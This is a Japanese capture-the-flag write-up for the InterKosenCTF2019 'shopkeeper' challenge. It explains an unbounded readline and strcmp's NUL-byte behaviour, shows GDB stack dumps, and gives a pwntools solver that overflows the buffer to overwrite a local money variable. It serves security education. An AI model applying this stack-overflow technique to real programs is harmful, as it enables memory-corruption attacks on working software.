方針
shop関数内にあるmoneyという変数をStack Overflowによって書き換えて、
十分なmoneyを手にして、Hopesを買う方法を取ります。
脆弱性を探す旅🐈
一つの脆弱性は、readline関数で無限に入力できることです。
void readline(char *buf)
{
  char *ptr;
  for(ptr = buf; ; ++ptr) { // Vulnerable here 
    if (read(0, ptr, 1) == 0) break;
    if (*ptr == '\n') {
      *ptr = 0x00;
      break;
    }
  }
}
もう一つは、文字列比較でstrcmp関数を使っていることです。
void shop(item_t *inventory)
{
  char buf[LEN_NAME];
  item_t *p, *t;
  int money = 100;
また、shop関数の中で、moneyがローカル変数として定義されているので、
書き換えることができる場所を探します。
strcmp関数は'\0'から比較しない
shop関数の中で呼ばれているpurchase関数では、
文字列比較に、strcmp関数が使われていますが、
マニュアルを見ると、次のように書かれています。
strncmp() is designed for comparing strings rather than binary data,
characters that appear after a `\0' character are not compared.
この話は有名で、'\0'(NULL文字)のあとの文字列は比較しません。
変数をStack Overflowによって書き換え
ソースコードでは、money = 100で定義されています。
100 = 0x64なので、money(100)の部分は、64と表示されます。
スタックを見ると、0x7fffffffe4e0に0x64があります。
gef➤  x/20xg $rsp
0x7fffffffe4a0: 0x00007fffffffe4e0      0x00007fffffffe500
0x7fffffffe4b0: 0x0000007365706f48      0x00005555554009f5
0x7fffffffe4c0: 0x0000001900000000      0x0000555555401024
0x7fffffffe4d0: 0x00007fffffffe4f0      0x0000555555401041
0x7fffffffe4e0: 0x00000064ffffe4f0      0x0000000000000000 //←here
0x7fffffffe4f0: 0x00007fffffffe540      0x0000555555400e23
この64を書き換えたいので、入力からのオフセットを調べます。
またNULL文字を置くと、その先は比較されないので、BOFを起こすことが可能です。
キーボードから NULL文字を打つ方法はCTRL+@ です。
gef➤  r
Starting program: /ctf/yu1hpa/InterKosenCTF2019-challenges-public/shopkeeper/distfiles/chall
* Hello, traveller.
* What would you like to buy?
 $25 - Cinnamon Bun
 $15 - Biscle
 $50 - Manly Bandanna
 $50 - Tough Glove
 $9999 - Hopes
> Hopes^@AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Breakpoint 1, 0x0000555555400d0f in shop ()
    (中略)
    
gef➤  x/20xg $rsp
0x7fffffffe4a0: 0x00007fffffffe4e0      0x00007fffffffe500
0x7fffffffe4b0: 0x4141007365706f48      0x4242414141414141
0x7fffffffe4c0: 0x4343424242424242      0x4444434343434343
0x7fffffffe4d0: 0x0000444444444444      0x0000555555401041
0x7fffffffe4e0: 0x00000064ffffe4f0      0x0000000000000000
0x7fffffffe4f0: 0x00007fffffffe540      0x0000555555400e23
64までのOFFSETを数えると、46(0x2e)です。
あとは、適当な文字列で書き換えると、
たくさんのmoneyが手に入るので、Hopesを買うことができます。
Solver
from pwn import *
file = "./chall"
e = ELF(file)
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
io = process(file)
io.sendlineafter("> ", b"Hopes\x00"+b"A"*0x2e+b"MONEY")
io.sendlineafter("> ", "Y")
io.interactive()